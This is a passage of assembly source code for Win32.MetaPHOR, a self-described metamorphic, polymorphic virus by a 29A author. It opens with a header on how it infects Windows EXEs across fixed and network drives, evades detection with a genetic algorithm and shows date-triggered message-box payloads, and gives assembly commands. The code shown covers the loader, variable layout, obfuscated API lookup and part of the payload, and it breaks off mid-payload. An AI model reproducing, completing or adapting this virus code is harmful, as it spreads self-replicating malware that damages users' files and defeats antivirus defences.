;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; ---------------------- ;; ;; * Win32.MetaPHOR v1B * ;; ;; ---------------------- ;; ;; ;; ;; Metamorphic Permutating High-Obfuscating Reassembler ;; ;; ;; ;; Coded by The Mental Driller/29A ;; ;; ;; ;; ;; ;; I proudly present my very first metamorphic virus (in its version 1.1). ;; ;; ;; ;; This virus is only code. No tables, no indirect jumps, etc. etc. It ;; ;; doesn't uses the stack to construct strings, executable code or data: ;; ;; what I do is a reservation of 3'5 Mb of data (more or less) with ;; ;; VirtualAlloc and then use the decryptor to copy the decrypted virus there ;; ;; (or unencrypted, since it has a probability of 1/16 of being unencrypted, ;; ;; so the decryptor in that cases is in fact a copy routine). The reserved ;; ;; memory is organized in sections (as if it were a PE) where I do all the ;; ;; operations. VirtualAlloc will be retrieved by the decryptor if it's not ;; ;; imported by the host, and the host must import GetModuleHandleA/W and ;; ;; GetProcAddress to be infected. This functions will be used by the virus ;; ;; to get the needed APIs. ;; ;; ;; ;; The type of metamorphism followed is what I call the "accordion model": ;; ;; disassembly/depermutation -> shrinking -> permutation -> expansion -> ;; ;; -> reassembly, so the code can be bigger or smaller than the previous ;; ;; generation. ;; ;; ;; ;; The metamorphism in this virus is complete: even the result of the ;; ;; shrinking can't be used for detection, because is different in every ;; ;; generation. That's the point where I introduce a new concept: dimensions ;; ;; in recoding (I mean, code that only get shrinked on two or more ;; ;; generations, but not in the immediate following; this would be the ;; ;; "third" dimension). This makes the disassembly to have always a different ;; ;; shape from generation to generation, but, when stabilized, never growing ;; ;; uncontrolablely. ;; ;; ;; ;; I have added a genetic algorithm in certain parts of the code to make it ;; ;; evolve to the best shape (the one that evades more detections, the action ;; ;; more stealthy, etc. etc.). It's a simple algorithm based on weights, so ;; ;; don't expect artificial intelligence :) (well, maybe in the future :P). ;; ;; ;; ;; I tried to comment the code as cleanly as possible, but well... :) ;; ;; ;; ;; If the code isn't optimized (in fact, it's NOT optimized), it's because: ;; ;; ;; ;; 1) It's more clear to see the code that the internal engine will deal ;; ;; with (for example, many times I use SUB ECX,1 instead of DEC ECX, ;; ;; although the disassembler can deal with both opcodes). ;; ;; 2) What's the point for optimizing the code when in next generation it ;; ;; will be completely unoptimized/garbled? :) ;; ;; 3) The obfuscation in next generations is bigger (MUCH bigger). ;; ;; ;; ;; ;; ;; General sheet of characteristics: ;; ;; ;; ;; Name of the virus.............: MetaPHOR v1.0 ;; ;; Author........................: The Mental Driller / 29A ;; ;; Size..........................: On 1st generation: 32828 bytes ;; ;; On next ones: variable, but not less ;; ;; than 64 Kb ;; ;; Targets.......................: Win32 PE EXEs, supporting three types ;; ;; of infection: mid-infection (when ;; ;; .reloc is present), at last section ;; ;; but using the padding space between ;; ;; sections to store the decrytor/mover, ;; ;; or all at last section. ;; ;; It infects EXEs with a 50% of prob. in ;; ;; current directory and going up the ;; ;; directory three by three levels. It ;; ;; also retrieves the drive strings on ;; ;; the system and makes the same if they ;; ;; are fixed or network drives. ;; ;; It uses EPO patching ExitProcess. ;; ;; Stealth action................: It doesn't enter in directories that ;; ;; begin with 'W' (avoiding the windows ;; ;; directory) and doesn't infect files ;; ;; with a 'V' in the name or beginning ;; ;; with the letters 'PA', 'F-', 'SC', ;; ;; 'DR' or 'NO'. ;; ;; Genetic algorithm in the selection of ;; ;; the infection methods, the creation of ;; ;; of the decryptor and some more things ;; ;; to make it more resistant or more ;; ;; difficult to detect due to "evolution".;; ;; Encrypted.....................: Sometimes not. ;; ;; Polymorphic...................: Yes ;; ;; Metamorphic...................: Yes ;; ;; Payloads......................: 1) A message box on 17h March, June, ;; ;; September and December with a ;; ;; metamorphic message :). ;; ;; 2) On 14h May and on hebrew systems it ;; ;; displays a messagebox with the text: ;; ;; "Free Palestine!" ;; ;; Anti-debugging................: Implicit ;; ;; Release history...............: ;; ;; v1.0: 11-02-2002 (I just finished commenting the source code ;; ;; and correcting the bugs I found doing that). ;; ;; v1.1: 14-02-2002 ;; ;; ;; ;; ;; ;; To do in next versions: ;; ;; ;; ;; 1) ELF infection: I only have to add APIs and call one or another ;; ;; depending on the operating system, and add the ELF infection algorithm. ;; ;; 2) Reassembly for different processors: IA64, Alpha, PowerPC, etc. I only ;; ;; have to code a new disassembler/reassembler, since for every internal ;; ;; operation I use a self-defined pseudo-assembler with its own opcodes. ;; ;; 3) Plug-in injector ;; ;; 4) More things (of course!! :). ;; ;; ;; ;; ;; ;; My thanks comes to: ;; ;; 29A, of course. ;; ;; Vecna & Z0MBiE for being pioneers in the field of metamorphism. I thank ;; ;; Vecna his interest by this virus and his suggestions. Of course, I ;; ;; never took them in account :P (acaso te dije como tenias que hacer ;; ;; el Lexo32, boludin asqueroso??? :P :P :P :P ;D) ;; ;; Eden Kirin, the author of ConTEXT (editor for programmers). It would be ;; ;; a hell to make a source like this one with EDIT :). ;; ;; The opressed people in the world. ;; ;; ;; ;; ;; ;; Also big thanks to Trent Reznor and NIN by their music, which inspired ;; ;; me greatly while coding this, specially the Halo 14 (commonly known as ;; ;; "The Fragile"). From the lyrics of "Somewhat damaged", a quote that ;; ;; resumes quite well the feeling of this code: ;; ;; ;; ;; "how could I ever think it's funny how ;; ;; everything that swore it wouldn't change is different now..." ;; ;; ;; ;; Well, in the song it doesn't have that meaning, but it does when you ;; ;; quote it alone heading this code :). ;; ;; ;; ;; And a big "FUCK YOU" to fascists, whatever the flag or religion they use ;; ;; to hide themselves behind, the country they live/represent and the moral ;; ;; reasons they say to justify their actions (for both attack and revenge): ;; ;; all them have the same inferior mind that makes them to think like ;; ;; animals. ;; ;; ;; ;; ;; ;; OK, so here's the proggy. Enjoy it as much as I enjoyed doing it. ;; ;; ;; ;; To assemble: ;; ;; TASM32 /m29A /ml MetaPHOR.asm ;; ;; TLINK32 -Tpe -aa -x MetaPHOR.obj,,,kernel32.lib ;; ;; ;; ;; No need of making PEWRSEC! ;; ;; ;; ;; ;; ;; Quick reference (keyword search): ;; ;; ;; ;; Variable declaration........................: Key_!VarDeclr ;; ;; Beginning of virus..........................: Key_!VirusStart ;; ;; Disassembler................................: Key_!Disassembler ;; ;; Shrinker....................................: Key_!Shrinker ;; ;; Variable identificator......................: Key_!VarIdent ;; ;; Permutator..................................: Key_!Permutator ;; ;; Expander....................................: Key_!Xpander ;; ;; Reassembler.................................: Key_!Assembler ;; ;; Infection code..............................: Key_!Infector ;; ;; Decryptor maker.............................: Key_!MakePoly ;; ;; ;; ;; ;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; .386p .model flat locals .code ret ; All code in DATA section. TASM allow this and we .data ; don't need to activate the write flag after assembling ; the code. AddressToFree dd 0 extrn ExitProcess:PROC extrn VirtualAlloc:PROC extrn VirtualFree:PROC extrn GetModuleHandleA:PROC extrn GetProcAddress:PROC extrn MessageBoxA:PROC ; First generation imports ;; This code (PreMain) only exists at first generation. ;; PreMain is a loader of the virus in the same way an infected host will ;; load it. PreMain proc push 4 push 1000h push 340000h ; Reserve 340000h bytes (~ 3.4Mb) push 0 call VirtualAlloc or eax, eax jz @@Error mov ebp, eax ; Set delta of reserved memory mov [AddressToFree], eax mov ebx, eax mov esi, offset Main mov edi, eax mov ecx, offset EndOfCode sub ecx, offset Main rep movsb ; Copy virus push __DISASM2_SECTION push __DATA_SECTION push __BUFFERS_SECTION push __DISASM_SECTION push __CODE_SECTION ; Push section addresses mov eax, offset GetProcAddress mov eax, [eax+2] push eax ; Push needed APIs mov eax, offset GetModuleHandleA mov eax, [eax+2] push eax push 5*2 ; Bit 0=0: 'A', 1:'W' for GetModuleHandle call ebx ; Call MetaPHOR! push 0C000h push 0 push dword ptr [AddressToFree] call VirtualFree ; This isn't needed at all, since where ; our process is destroyed all the virtual memory ; allocated by it is deallocated automatically. @@Error: push 0 call ExitProcess PreMain endp ;; Now we are executing in the reserved memory ;; ;; ATTENTION: LEAs loading offsets of variables are problematic (due to the ;; variable identificator) so, in the cases like string constructors and ;; getting info from FindFirst and FindNext the operations will be performed ;; directly into memory sections, to avoid them getting marked as variables. ;; In the entrance, the polymorphic loader/decryptor must pass the next data: ;;; DeltaReg --> Initialized (in this case, EBP) ;;; ;;; In reverse-push order (C-like): ;;; * (Number of register used for Delta SHL 1) AND (A/W flag for ;; GetModuleHandleA/W) ;;; * Address to GetModuleHandle in import table ;;; * Address to GetProcAddress in import table ;;; * Offset of CODE_SECTION ;;; * Offset of DISASM_SECTION ;;; * Offset of BUFFERS_SECTION ;;; * Offset of DATA_SECTION ;;; * Offset of DISASM2_SECTION ;;; ;;; All data passed is local to the engine, I mean, it can be modified (and ;;; in fact it will be modified) during the reassembly. In this way we don't ;;; have even the variables in a fixed delta location, although even keeping ;;; fixed section offsets the variables are relocated. ;; ;; ;; KEYWORD: Key_!VarDeclr ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;************************************************************************;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; ;; Memory addresses. The variables are internal offsets into the data section, ;; so they are coded in this way. As you can see, all them are EQUs. ;; ;; There are also some equates to make easier the programming, although all ;; the values here are only valid on first generation, due to the fact that ;; they'll recalculated and randomized. ;; __CODE_SECTION EQU 000000h __DISASM_SECTION EQU 100000h __BUFFERS_SECTION EQU 080000h __LABEL_SECTION EQU __BUFFERS_SECTION + 00000h __VARIABLE_SECTION EQU __BUFFERS_SECTION + 10000h __BUFFER1_SECTION EQU __BUFFERS_SECTION + 20000h __BUFFER2_SECTION EQU __BUFFERS_SECTION + 30000h __VAR_MARKS_SECTION EQU __BUFFERS_SECTION + 40000h __DATA_SECTION EQU 0E0000h __DISASM2_SECTION EQU 200000h NumberOfLabels EQU __DATA_SECTION + 0000h NumberOfInstructions EQU __DATA_SECTION + 0008h InstructionTable EQU __DATA_SECTION + 0010h LabelTable EQU __DATA_SECTION + 0018h FutureLabelTable EQU __DATA_SECTION + 0020h PathMarksTable EQU __DATA_SECTION + 0028h NumberOfLabelsPost EQU __DATA_SECTION + 0030h AddressOfLastInstruction EQU __DATA_SECTION + 0038h VariableTable EQU __DATA_SECTION + 0040h NumberOfVariables EQU __DATA_SECTION + 0048h FramesTable EQU __DATA_SECTION + 0050h PermutationResult EQU __DATA_SECTION + 0058h JumpsTable EQU __DATA_SECTION + 0060h AddressOfLastFrame EQU __DATA_SECTION + 0068h PositionOfFirstInstruction EQU __DATA_SECTION + 0070h MODValue EQU __DATA_SECTION + 0078h NumberOfJumps EQU __DATA_SECTION + 0080h RndSeed1 EQU __DATA_SECTION + 0088h RndSeed2 EQU __DATA_SECTION + 0090h ExpansionResult EQU __DATA_SECTION + 0098h Register8Bits EQU __DATA_SECTION + 00A0h Xp_Register0 EQU __DATA_SECTION + 00A8h Xp_Register1 EQU __DATA_SECTION + 00B0h Xp_Register2 EQU __DATA_SECTION + 00B8h Xp_Register3 EQU __DATA_SECTION + 00C0h Xp_Register4 EQU __DATA_SECTION + 00C8h Xp_Register5 EQU __DATA_SECTION + 00D0h Xp_Register6 EQU __DATA_SECTION + 00D8h Xp_Register7 EQU __DATA_SECTION + 00E0h DeltaRegister EQU __DATA_SECTION + 00E8h Xp_8Bits EQU __DATA_SECTION + 00F0h Xp_Operation EQU __DATA_SECTION + 00F8h Xp_Register EQU __DATA_SECTION + 0100h Xp_Mem_Index1 EQU __DATA_SECTION + 0108h Xp_Mem_Index2 EQU __DATA_SECTION + 0110h Xp_Mem_Addition EQU __DATA_SECTION + 0118h Xp_Immediate EQU __DATA_SECTION + 0120h Xp_SrcRegister EQU __DATA_SECTION + 0128h Xp_FlagRegOrMem EQU __DATA_SECTION + 0130h Xp_RecurseLevel EQU __DATA_SECTION + 0138h Xp_LEAAdditionFlag EQU __DATA_SECTION + 0140h VarMarksTable EQU __DATA_SECTION + 0148h _BUFFERS_SECTION EQU __DATA_SECTION + 0150h _CODE_SECTION EQU __DATA_SECTION + 0158h _DISASM_SECTION EQU __DATA_SECTION + 0160h _LABEL_SECTION EQU __DATA_SECTION + 0168h _VARIABLE_SECTION EQU __DATA_SECTION + 0170h _BUFFER1_SECTION EQU __DATA_SECTION + 0178h _BUFFER2_SECTION EQU __DATA_SECTION + 0180h _VAR_MARKS_SECTION EQU __DATA_SECTION + 0188h _DATA_SECTION EQU __DATA_SECTION + 0190h _DISASM2_SECTION EQU __DATA_SECTION + 0198h New_CODE_SECTION EQU __DATA_SECTION + 01A0h New_DISASM_SECTION EQU __DATA_SECTION + 01A8h New_BUFFERS_SECTION EQU __DATA_SECTION + 01B0h ; New_LABEL_SECTION EQU __DATA_SECTION + 01B0h ; New_VARIABLE_SECTION EQU __DATA_SECTION + 01B8h ; New_BUFFER1_SECTION EQU __DATA_SECTION + 01C0h ; New_BUFFER2_SECTION EQU __DATA_SECTION + 01C8h ; New_VAR_MARKS_SECTION EQU __DATA_SECTION + 01D0h New_DATA_SECTION EQU __DATA_SECTION + 01D8h New_DISASM2_SECTION EQU __DATA_SECTION + 01E0h RVA_GetModuleHandle EQU __DATA_SECTION + 01E8h RVA_GetProcAddress EQU __DATA_SECTION + 01F0h FlagAorW EQU __DATA_SECTION + 01F8h ReturnValue EQU __DATA_SECTION + 0200h hKernel EQU __DATA_SECTION + 0208h hUser32 EQU __DATA_SECTION + 0210h RVA_CreateFileA EQU __DATA_SECTION + 0218h RVA_CreateFileMappingA EQU __DATA_SECTION + 0220h RVA_MapViewOfFile EQU __DATA_SECTION + 0228h RVA_UnmapViewOfFile EQU __DATA_SECTION + 0230h RVA_GetFileSize EQU __DATA_SECTION + 0238h RVA_GetFileAttributesA EQU __DATA_SECTION + 0240h RVA_SetFileAttributesA EQU __DATA_SECTION + 0248h RVA_SetFilePointer EQU __DATA_SECTION + 0250h RVA_SetFileTime EQU __DATA_SECTION + 0258h RVA_SetEndOfFile EQU __DATA_SECTION + 0260h RVA_FindFirstFileA EQU __DATA_SECTION + 0268h RVA_FindNextFileA EQU __DATA_SECTION + 0270h RVA_FindClose EQU __DATA_SECTION + 0278h RVA_CloseHandle EQU __DATA_SECTION + 0280h RVA_MessageBoxA EQU __DATA_SECTION + 0288h NewLabelTable EQU __DATA_SECTION + 0290h Asm_ByteToSort EQU __DATA_SECTION + 0298h JumpRelocationTable EQU __DATA_SECTION + 02A0h NumberOfJumpRelocations EQU __DATA_SECTION + 02A8h Permut_LastInstruction EQU __DATA_SECTION + 02B0h TranslatedDeltaRegister EQU __DATA_SECTION + 02B8h hFile EQU __DATA_SECTION + 02C0h FileSize EQU __DATA_SECTION + 02C8h OriginalFileSize EQU __DATA_SECTION + 02D0h hMapping EQU __DATA_SECTION + 02D8h MappingAddress EQU __DATA_SECTION + 02E0h HeaderAddress EQU __DATA_SECTION + 02E8h StartOfSectionHeaders EQU __DATA_SECTION + 02F0h RelocHeader EQU __DATA_SECTION + 02F8h TextHeader EQU __DATA_SECTION + 0300h DataHeader EQU __DATA_SECTION + 0308h RVA_TextHole EQU __DATA_SECTION + 0310h Phys_TextHole EQU __DATA_SECTION + 0318h TextHoleSize EQU __DATA_SECTION + 0320h RVA_DataHole EQU __DATA_SECTION + 0328h Phys_DataHole EQU __DATA_SECTION + 0330h MakingFirstHole EQU __DATA_SECTION + 0338h ExitProcessAddress EQU __DATA_SECTION + 0340h GetModuleHandleAddress EQU __DATA_SECTION + 0348h GetProcAddressAddress EQU __DATA_SECTION + 0350h VirtualAllocAddress EQU __DATA_SECTION + 0358h GetModuleHandleMode EQU __DATA_SECTION + 0360h VirtualPositionOfVar EQU __DATA_SECTION + 0368h PhysicalPositionOfVar EQU __DATA_SECTION + 0370h Kernel32Imports EQU __DATA_SECTION + 0378h hFindFile EQU __DATA_SECTION + 0380h Addr_FilePath EQU __DATA_SECTION + 0388h FileAttributes EQU __DATA_SECTION + 0390h SizeOfNewCode EQU __DATA_SECTION + 0398h FindFileData EQU __DATA_SECTION + 03A0h OtherBuffers EQU __DATA_SECTION + 03A8h RoundedSizeOfNewCode EQU __DATA_SECTION + 03B0h NewAssembledCode EQU __DATA_SECTION + 03B8h NumberOfUndoActions EQU __DATA_SECTION + 03C0h LastHeader EQU __DATA_SECTION + 03C8h MaxSizeOfDecryptor EQU __DATA_SECTION + 03D0h CreatingADecryptor EQU __DATA_SECTION + 03D8h DecryptorPseudoCode EQU __DATA_SECTION + 03E0h AssembledDecryptor EQU __DATA_SECTION + 03E8h Decryptor_DATA_SECTION EQU __DATA_SECTION + 03F0h SizeOfExpansion EQU __DATA_SECTION + 03F8h SizeOfDecryptor EQU __DATA_SECTION + 0400h TypeOfEncryption EQU __DATA_SECTION + 0408h EncryptionKey EQU __DATA_SECTION + 0410h IndexValue EQU __DATA_SECTION + 0418h IndexRegister EQU __DATA_SECTION + 0420h BufferRegister EQU __DATA_SECTION + 0428h CounterRegister EQU __DATA_SECTION + 0430h BufferValue EQU __DATA_SECTION + 0438h CounterValue EQU __DATA_SECTION + 0440h Poly_FirstPartOfFunction EQU __DATA_SECTION + 0448h Poly_SecondPartOfFunction EQU __DATA_SECTION + 0450h Poly_ThirdPartOfFunction EQU __DATA_SECTION + 0458h AdditionToBuffer EQU __DATA_SECTION + 0460h Poly_Jump_ErrorInVirtualAlloc EQU __DATA_SECTION+0468h ;Index2Register EQU __DATA_SECTION + 0470h Poly_LoopLabel EQU __DATA_SECTION + 0478h RVA_GetSystemTime EQU __DATA_SECTION + 0480h RVA_GetTickCount EQU __DATA_SECTION + 0488h RVA_GetDriveTypeA EQU __DATA_SECTION + 0490h RVA_GetLogicalDriveStringsA EQU __DATA_SECTION + 0498h RVA_SetCurrentDirectoryA EQU __DATA_SECTION + 04A0h StartOfEncryptedData EQU __DATA_SECTION + 04A8h SizeOfNewCodeP2 EQU __DATA_SECTION + 04B0h Poly_InitialValue EQU __DATA_SECTION + 04B8h Poly_Addition EQU __DATA_SECTION + 04C0h Poly_ExcessJumpInstruction EQU __DATA_SECTION + 04C8h DirectoryDeepness EQU __DATA_SECTION + 04D0h RVA_GetSystemDefaultLCID EQU __DATA_SECTION + 04D8h Poly_JumpRandomExecution EQU __DATA_SECTION + 04E0h Weight_X000_3 EQU __DATA_SECTION + 04E8h Weight_X004_7 EQU __DATA_SECTION + 04F0h Weight_X008_11 EQU __DATA_SECTION + 04F8h Weight_X012_15 EQU __DATA_SECTION + 0500h Weight_X016_19 EQU __DATA_SECTION + 0508h Weight_X020_23 EQU __DATA_SECTION + 0510h ;; ;; ;; End of variables ;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; KEYWORD: Key_!VirusStart Main proc ; EBP = Delta offset pop ebx ; Return address pop eax mov ecx, eax and eax, 1 mov [ebp+FlagAorW], eax ; Get if GetModuleHandle is A or W and ecx, 0FFFFFFFEh shr ecx, 1 mov [ebp+DeltaRegister], ecx ; Get the delta register nr. pop eax mov eax, [eax] mov [ebp+RVA_GetModuleHandle], eax pop eax mov eax, [eax] mov [ebp+RVA_GetProcAddress], eax pop eax and eax, 03FFFFFh ; Eliminate the two highest bits mov [ebp+_CODE_SECTION], eax pop eax and eax, 03FFFFFh ; " mov [ebp+_DISASM_SECTION], eax pop eax and eax, 03FFFFFh ; " mov [ebp+_BUFFERS_SECTION], eax mov [ebp+_LABEL_SECTION], eax ; Construct the other add eax, 10000h ; section addresses mov [ebp+_VARIABLE_SECTION], eax add eax, 10000h mov [ebp+_BUFFER1_SECTION], eax add eax, 10000h mov [ebp+_BUFFER2_SECTION], eax add eax, 10000h mov [ebp+_VAR_MARKS_SECTION], eax pop eax and eax, 03FFFFFh mov [ebp+_DATA_SECTION], eax pop eax and eax, 03FFFFFh mov [ebp+_DISASM2_SECTION], eax push ebx ; Restore return value ;; Let's set the weights for the genetic algorithm. These are code structures ;; recognized by the shrinker. ;; The initial values of the weights are not arbitrary: they are the initial ;; values that simulate the random behaviour that was before the addition of ;; this type of algorithm. ;; These code structures are shrinked as ;; SET_WEIGHT [ebp+Weight_X000_3],0,EAX,ECX ;; SET_WEIGHT [ebp+Weight_X004_7],1,EAX,ECX ;; and so on. push eax mov eax, 0 mov ecx, 10808080h ; Weights 3,2,1 and 0 mov [ebp+Weight_X000_3], ecx pop eax push eax mov eax, 1 mov ecx, 10808010h ; Weights 7,6,5,4 mov [ebp+Weight_X004_7], ecx pop eax push eax mov eax, 2 mov ecx, 80808055h ; Weights 11,10,9,8 mov [ebp+Weight_X008_11], ecx pop eax push eax mov eax, 3 mov ecx, 80408080h ; Weights 15,14,13,12 mov [ebp+Weight_X012_15], ecx pop eax push eax mov eax, 4 mov ecx, 55404040h ; Weights 19,18,17,16 mov [ebp+Weight_X016_19], ecx pop eax push eax mov eax, 5 mov ecx, 0F0808080h ; Weights 23,22,21,20 mov [ebp+Weight_X020_23], ecx pop eax ;; Let's get the addresses of the APIs that we are going to use: mov edx, [ebp+_BUFFER1_SECTION] add edx, ebp push eax push ecx push edx ; APICALL_BEGIN mov eax, 'nrek' mov [edx], eax mov eax, '23le' mov [edx+4], eax mov eax, 'lld.' mov [edx+8], eax xor eax, eax mov [edx+0Ch], eax ; Get the address of KERNEL32.DLL call APICall_GetModuleHandle pop edx pop ecx pop eax ; APICALL_END mov eax, [ebp+ReturnValue] or eax, eax ; Get the handle. If 0, we exit jz @@Error mov [ebp+hKernel], eax push eax push ecx push edx ; APICALL_BEGIN mov eax, 'resu' mov [edx], eax mov eax, 'd.23' mov [edx+4], eax mov eax, 'll' mov [edx+8], eax ; Get the address of USER32.DLL call APICall_GetModuleHandle pop edx pop ecx pop eax ; APICALL_END mov eax, [ebp+ReturnValue] ; It doesn't matter if we mov [ebp+hUser32], eax ; failed: it's used only to ; get MessageBoxA for the ; payload mov edx, [ebp+_BUFFER1_SECTION] add edx, ebp mov edi, [ebp+hKernel] ; Place to construct the addresses ; names mov eax, 'aerC' mov [edx], eax mov eax, 'iFet' mov [edx+4], eax mov eax, 'Ael' mov [edx+8], eax call GetFunction ; Get CreateFileA or eax, eax jz @@Error mov [ebp+RVA_CreateFileA], eax mov eax, 'ppaM' mov [edx+0Ah], eax mov eax, 'Agni' mov [edx+0Eh], eax xor eax, eax mov [edx+12h], eax call GetFunction ; Get CreateFileMappingA or eax, eax jz @@Error mov [ebp+RVA_CreateFileMappingA], eax add edx, 2 mov eax, 'VpaM' mov [edx], eax mov eax, 'Owei' mov [edx+4], eax mov eax, 'liFf' mov [edx+8], eax mov eax, 'e' mov [edx+0Ch], eax call GetFunction ; Get MapViewOfFile or eax, eax jz @@Error mov [ebp+RVA_MapViewOfFile], eax sub edx, 2 mov eax, 'amnU' mov [edx], eax call GetFunction ; Get UnmapViewOfFile or eax, eax jz @@Error mov [ebp+RVA_UnmapViewOfFile], eax mov eax, 'SteG' mov [edx], eax mov eax, 'etsy' mov [edx+4], eax mov eax, 'miTm' mov [edx+8], eax mov eax, 'e' mov [edx+0Ch], eax call GetFunction ; Get GetSystemTime or eax, eax jz @@Error mov [ebp+RVA_GetSystemTime], eax mov eax, 'virD' mov [edx+3], eax mov eax, 'pyTe' mov [edx+7], eax mov eax, 'Ae' mov [edx+0Bh], eax call GetFunction ; Get GetDriveTypeA or eax, eax jz @@Error mov [ebp+RVA_GetDriveTypeA], eax mov eax, 'igoL' mov [edx+3], eax mov eax, 'Dlac' mov [edx+7], eax mov eax, 'evir' mov [edx+0Bh], eax mov eax, 'irtS' mov [edx+0Fh], eax mov eax, 'Asgn' mov [edx+13h], eax xor eax, eax mov [edx+17h], eax call GetFunction ; Get GetLogicalDriveStringsA or eax, eax jz @@Error mov [ebp+RVA_GetLogicalDriveStringsA], eax mov eax, 'tsyS' mov [edx+3], eax mov eax, 'eDme' mov [edx+7], eax mov eax, 'luaf' mov [edx+0Bh], eax mov eax, 'ICLt' mov [edx+0Fh], eax mov eax, 'D' mov [edx+13h], eax call GetFunction ; Get GetSystemDefaultLCID or eax, eax jz @@Error mov [ebp+RVA_GetSystemDefaultLCID], eax mov eax, 'CteS' mov [edx], eax mov eax, 'erru' mov [edx+4], eax mov eax, 'iDtn' mov [edx+8], eax mov eax, 'tcer' mov [edx+0Ch], eax mov eax, 'Ayro' mov [edx+10h], eax xor eax, eax mov [edx+14h], eax call GetFunction ; Get SetCurrentDirectoryA or eax, eax jz @@Error mov [ebp+RVA_SetCurrentDirectoryA], eax mov eax, 'FteG' mov [edx], eax mov eax, 'Seli' mov [edx+4], eax mov eax, 'ezi' mov [edx+8], eax call GetFunction ; Get GetFileSize or eax, eax jz @@Error mov [ebp+RVA_GetFileSize], eax mov eax, 'rttA' mov [edx+7], eax mov eax, 'tubi' mov [edx+0Bh], eax mov eax, 'Ase' mov [edx+0Fh], eax call GetFunction ; Get GetFileAttributesA or eax, eax jz @@Error mov [ebp+RVA_GetFileAttributesA], eax mov eax, 'FteS' mov [edx], eax call GetFunction ; Get SetFileAttributesA or eax, eax jz @@Error mov [ebp+RVA_SetFileAttributesA], eax mov eax, 'nioP' mov [edx+7], eax mov eax, 'ret' mov [edx+0Bh], eax call GetFunction ; Get SetFilePointer or eax, eax jz @@Error mov [ebp+RVA_SetFilePointer], eax mov eax, 'emiT' mov [edx+7], eax xor eax, eax mov [edx+0Bh], eax call GetFunction ; Get SetFileTime or eax, eax jz @@Error mov [ebp+RVA_SetFileTime], eax mov eax, 'OdnE' mov [edx+3], eax mov eax, 'liFf' mov [edx+7], eax mov eax, 'e' mov [edx+0Bh], eax call GetFunction ; Get SetEndOfFile or eax, eax jz @@Error mov [ebp+RVA_SetEndOfFile], eax mov eax, 'dniF' mov [edx], eax mov eax, 'sriF' mov [edx+4], eax mov eax, 'liFt' mov [edx+8], eax mov eax, 'Ae' mov [edx+0Ch], eax call GetFunction ; Get FindFirstFileA or eax, eax jz @@Error mov [ebp+RVA_FindFirstFileA], eax mov eax, 'txeN' mov [edx+4], eax mov eax, 'eliF' mov [edx+8], eax mov eax, 'A' mov [edx+0Ch], eax call GetFunction ; Get FindNextFileA or eax, eax jz @@Error mov [ebp+RVA_FindNextFileA], eax mov eax, 'solC' mov [edx+4], eax mov eax, 'e' mov [edx+8], eax call GetFunction ; Get FindClose or eax, eax jz @@Error mov [ebp+RVA_FindClose], eax add edx, 4 mov eax, 'dnaH' mov [edx+5], eax mov eax, 'el' mov [edx+9], eax call GetFunction ; Get CloseHandle or eax, eax jz @@Error mov [ebp+RVA_CloseHandle], eax sub edx, 4 mov edi, [ebp+hUser32] ; Maybe NULL, but it's allowed by mov eax, 'sseM' ; GetProcAddress mov [edx], eax mov eax, 'Bega' mov [edx+4], eax mov eax, 'Axo' mov [edx+8], eax call GetFunction ; Get MessageBoxA (from User32.DLL) mov [ebp+RVA_MessageBoxA], eax ; 0 if not found or library ; not loaded ;; Let's initialize the random seed push eax push ecx push edx ; APICALL_BEGIN mov eax, [ebp+_BUFFER1_SECTION] add eax, ebp push eax call dword ptr [ebp+RVA_GetSystemTime] pop edx pop ecx pop eax ; APICALL_END mov ebx, [ebp+_BUFFER1_SECTION] add ebx, ebp mov eax, [ebx+04h] add eax, [ebx+0Ch] mov [ebp+RndSeed1], eax add eax, [ebx+08h] mov [ebp+RndSeed2], eax call Random call Random ; Garble it a little ;; Now let's make some mixtures in the weights. Since the weights are ;; going to be hardcoded on the virus code before its use, we make here ;; some "garblement" to force the evolution of the infection methods. With ;; this, only the most powerful features will "survive". xor ecx, ecx @@LoopGarbleWeights: push ecx and ecx, 3 mov eax, ecx call RandomBoolean_X000_3 mov eax, ecx call RandomBoolean_X004_7 mov eax, ecx call RandomBoolean_X008_11 mov eax, ecx call RandomBoolean_X012_15 mov eax, ecx call RandomBoolean_X016_19 mov eax, ecx call RandomBoolean_X020_23 pop ecx add ecx, 1 cmp ecx, 40h jnz @@LoopGarbleWeights mov eax, [ebp+RVA_MessageBoxA] or eax, eax jz @@NoPayload ; If we couldn't retrieve MessageBoxA, ; skip the payload ;; Payload ;;--------- ;; Simple, silly MessageBox with a metamorphic message :) ;; The message is "MetaPHOR v1 by The Mental Driller/29A" but selecting ;; randomly the case of all letters. mov edx, [ebp+_BUFFER1_SECTION] add edx, ebp mov eax, [edx+2] and eax, 0FFh cmp eax, 3 ; Month: March, June, September or jz @@Payload_Month ; December cmp eax, 6 jz @@Payload_Month cmp eax, 9 jz @@Payload_Month cmp eax, 0Ch jnz @@CheckPayload2 @@Payload_Month: mov eax, [edx+6] and eax, 0FFh cmp eax, 11h ; Day: 17 jnz @@CheckPayload2 push edx call Random and eax, 20202020h ;; All the phrase is: add eax, 'ATEM' ;; "META" mov [edx], eax add edx, 4 call Random and eax, 20202020h add eax, 'ROHP' ;; "PHOR" mov [edx], eax add edx, 4 call Random and eax, 00200000h add eax, ' B1 ' ;; " v1 " mov [edx], eax add edx, 4 call Random and eax, 20002020h add eax, 'T YB' ;; "BY T" mov [edx], eax add edx, 4 call Random and eax, 20002020h add eax, 'M EH' ;; "HE M" mov [edx], eax add edx, 4 call Random and eax, 20202020h add eax, 'ATNE' ;; "ENTA" mov [edx], eax add edx, 4 call Random and eax, 20200020h add eax, 'RD L' ;; "L DR" mov [edx], eax add edx, 4 call Random and eax, 20202020h add eax, 'ELLI' ;; "ILLE" mov [edx], eax add edx, 4 call Random and eax, 00000020h add eax, '92/R' ;; "R/29" mov [edx], eax add edx, 4 call Random and eax, 0FFFF0020h add eax, 'A' ;; "A" mov [edx], eax pop edx 